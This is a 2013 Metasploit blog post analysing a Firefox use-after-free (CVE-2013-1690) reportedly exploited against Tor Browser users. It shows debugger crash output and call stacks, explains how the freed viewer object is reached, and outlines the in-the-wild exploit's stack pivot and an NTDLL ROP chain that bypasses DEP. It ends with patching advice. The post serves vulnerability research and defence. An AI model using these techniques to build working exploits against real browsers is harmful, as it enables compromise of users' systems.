Here's that FBI Firefox Exploit for You (CVE-2013-1690)

Blog Post created by sinn3r Employee on Aug 7, 2013

fbi_logo_twitter.jpeg.jpgHello fellow hackers,


I hope you guys had a blast at Defcon partying it up and hacking all the things, because ready or not, here's more work for you.  During the second day of the conference, I noticed a reddit post regarding some Mozilla Firefox 0day possibly being used by the FBI in order to identify some users using Tor for crackdown on child pornography. The security community was amazing: within hours, we found more information such as brief analysis about the payload, simplified PoC, bug report on Mozilla, etc. The same day, I flew back to the Metasploit hideout (with Juan already there), and we started playing catch-up on the vulnerability.


Brief Analysis


The vulnerability was originally discovered and reported by researcher "nils". You can see his discussion about the bug on Twitter. A proof-of-concept can be found here.


We began with a crash with a modified version of the PoC:


eax=72622f2f ebx=000b2440 ecx=0000006e edx=00000000 esi=07adb980 edi=065dc4ac
eip=014c51ed esp=000b2350 ebp=000b2354 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
014c51ed 8b08            mov     ecx,dword ptr [eax]  ds:0023:72622f2f=????????


EAX is a value from ESI. One way to track where this allocation came from is by putting a breakpoint at moz_xmalloc:


bu mozalloc!moz_xmalloc+0xc "r $t0=poi(esp+c); .if (@$t0==0xc4) {.printf \"Addr=0x%08x, Size=0x%08x\",eax, @$t0; .echo; k; .echo}; g"
Addr=0x07adb980, Size=0x000000c4
ChildEBP RetAddr
0012cd00 014ee6b1 mozalloc!moz_xmalloc+0xc [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\memory\mozalloc\mozalloc.cpp @ 57]
0012cd10 013307db xul!NS_NewContentViewer+0xe [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\layout\base\nsdocumentviewer.cpp @ 497]


The callstack tells us this was allocated in nsdocumentviewer.cpp, at line 497, which leads to the following function. When the DocumentViewerImpl object is created while the page is being loaded, this also triggers a malloc() with size 0xC4 to store that:


NS_NewContentViewer(nsIContentViewer** aResult)
  *aResult = new DocumentViewerImpl();
  return NS_OK;


In the PoC, window.stop() is used repeatedly that's meant to stop document parsing, except they're actually not terminated, just hang.  Eventually this leads to some sort of exhaustion and allows the script to continue, and the DocumentViewerImpl object lives on.  And then we arrive to the next line: ownerDocument.write().


The ownerDocument.write() function is used to write to the parent frame, but the real purpose of this is to trigger xul!nsDocShell::Destroy, which deletes DocumentViewerImpl:


Free DocumentViewerImpl at: 0x073ab940
ChildEBP RetAddr  
000b0b84 01382f42 xul!DocumentViewerImpl::`scalar deleting destructor'+0x10
000b0b8c 01306621 xul!DocumentViewerImpl::Release+0x22 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\layout\base\nsdocumentviewer.cpp @ 548]
000b0bac 01533892 xul!nsDocShell::Destroy+0x14f [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\docshell\base\nsdocshell.cpp @ 4847]
000b0bc0 0142b4cc xul!nsFrameLoader::Finalize+0x29 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsframeloader.cpp @ 579]
000b0be0 013f4ebd xul!nsDocument::MaybeInitializeFinalizeFrameLoaders+0xec [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 5481]
000b0c04 0140c444 xul!nsDocument::EndUpdate+0xcd [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 4020]
000b0c14 0145f318 xul!mozAutoDocUpdate::~mozAutoDocUpdate+0x34 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\mozautodocupdate.h @ 35]
000b0ca4 014ab5ab xul!nsDocument::ResetToURI+0xf8 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 2149]
000b0ccc 01494a8b xul!nsHTMLDocument::ResetToURI+0x20 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 287]
000b0d04 014d583a xul!nsDocument::Reset+0x6b [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 2088]
000b0d18 01c95c6f xul!nsHTMLDocument::Reset+0x12 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 274]
000b0f84 016f6ddd xul!nsHTMLDocument::Open+0x736 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1523]
000b0fe0 015015f0 xul!nsHTMLDocument::WriteCommon+0x22a4c7 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1700]
000b0ff4 015e6f2e xul!nsHTMLDocument::Write+0x1a [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1749]
000b1124 00ae1a59 xul!nsIDOMHTMLDocument_Write+0x537 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\obj-firefox\js\xpconnect\src\dom_quickstubs.cpp @ 13705]
000b1198 00ad2499 mozjs!js::InvokeKernel+0x59 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 352]
000b11e8 00af638a mozjs!js::Invoke+0x209 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 396]
000b1244 00a9ef36 mozjs!js::CrossCompartmentWrapper::call+0x13a [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jswrapper.cpp @ 736]
000b1274 00ae2061 mozjs!JSScript::ensureRanInference+0x16 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinferinlines.h @ 1584]
000b12e8 00ad93fd mozjs!js::InvokeKernel+0x661 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 345]


What happens next is after the ownerDocument.write() finishes, one of the window.stop() calls that used to hang begins to finish up, which brings us to xul!nsDocumentViewer::Stop. This function will access the invalid memory, and crashes. At this point you might see two different racy crashes: Either it's accessing some memory that doesn't seem to be meant for that CALL, just because that part of the memory happens to fit in there. Or you crash at mov ecx, dword ptr [eax] like the following:


0:000> r
eax=41414141 ebx=000b4600 ecx=0000006c edx=00000000 esi=0497c090 edi=067a24ac
eip=014c51ed esp=000b4510 ebp=000b4514 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
014c51ed 8b08            mov     ecx,dword ptr [eax]  ds:0023:41414141=????????

0:000> u . L3
014c51ed 8b08            mov     ecx,dword ptr [eax]
014c51ef 50              push    eax
014c51f0 ff5104          call    dword ptr [ecx+4]


However, note the crash doesn't necessarily have to end in xul!nsDocumentViewer::Stop, because in order to end up this in code path, it requires two conditions, as the following demonstrates:


  NS_ASSERTION(mDocument, "Stop called too early or too late");
  if (mDocument) {

  if (!mHidden && (mLoaded || mStopped) && mPresContext && !mSHEntry)

  mStopped = true;

if (!mLoaded && mPresShell) {  // These are the two conditions that must be met
    // If you're here, you will crash

  return NS_OK;


We discovered the above possibility due to the exploit in the wild using a different path to "call dword ptr [eax+4BCh]" in function nsIDOMHTMLElement_GetInnerHTML, meaning that it actually survives in xul!nsDocumentViewer::Stop.  It's also using an information leak to properly craft a NTDLL ROP chain specifically for Windows 7. The following example based on the exploit in the wild should demonstrate this, where we begin with the stack pivot:


eax=120a4018 ebx=002ec00c ecx=002ebf68 edx=00000001 esi=120a3010 edi=00000001
eip=66f05c12 esp=002ebf54 ebp=002ebf8c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
66f05c12 ff90bc040000    call    dword ptr [eax+4BCh] ds:0023:120a44d4=33776277


We can see that the pivot is a XCHG EAX,ESP from NTDLL:


0:000> u 77627733 L6
77627733 94              xchg    eax,esp
77627734 5e              pop     esi
77627735 5f              pop     edi
77627736 8d42ff          lea     eax,[edx-1]
77627739 5b              pop     ebx
7762773a c3              ret


After pivoting, it goes through the whole NTDLL ROP chain, which calls ntdll!ZwProtectVirtualMemory to bypass DEP, and then finally gains code execution:


0:000> dd /c1 esp L9
120a4024  77625f18 ; ntdll!ZwProtectVirtualMemory
120a4028  120a5010
120a402c  ffffffff
120a4030  120a4044
120a4034  120a4040
120a4038  00000040
120a403c  120a4048
120a4040  00040000
120a4044  120a5010


Note: The original exploit does not seem to go against Mozilla Firefox 17 (or other buggy versions) except for Tor Browser, but you should still get a crash.  We figured whoever wrote the exploit didn't really care about regular Firefox users, because apparently they got nothing to hide :-)


Metasploit Module


Because of the complexity of the exploit, we've decided to do an initial release for Mozilla Firefox for now. An improved version of the exploit is already on the way, and hopefully we can get that out as soon as possible, so keep an eye on the blog and msfupdate, and stay tuned.  Meanwhile, feel free to play FBI in your organization, excise that exploit on your next social engineering training campaign.


Screen Shot 2013-08-07 at 2.10.40 AM.png



Protecting against this exploit is typically straightforward: All you need to do is upgrade your Firefox browser (or Tor Bundle Browser, which was the true target of the original exploit). The vulnerability was patched and released by Mozilla back in late June of 2013, and the TBB was updated a couple days later, so the world has had a little over a month to get with the patched versions. Given that, it would appear that the original adversaries here had reason to believe that at least as of early August of 2013, their target pool had not patched.


If you're at all familiar with Firefox's normal updates, it's difficult to avoid getting patched; you need to go out of your way to skip updating, and you're more likely than not to screw that up and get patched by accident. However, since the people using Tor services often are relying on read-only media, like a LiveCD or a RO virtual environment, it's slightly more difficult for them to get timely updates. Doing so means burning a new LiveCD, or marking their VM as writable to make updates persistent. In short, it looks we have a case where good security advice (don't save anything on your secret operating system) got turned around into a poor operational security practice, violating the "keep up on security patches" rule. Hopefully, this is a lesson learned.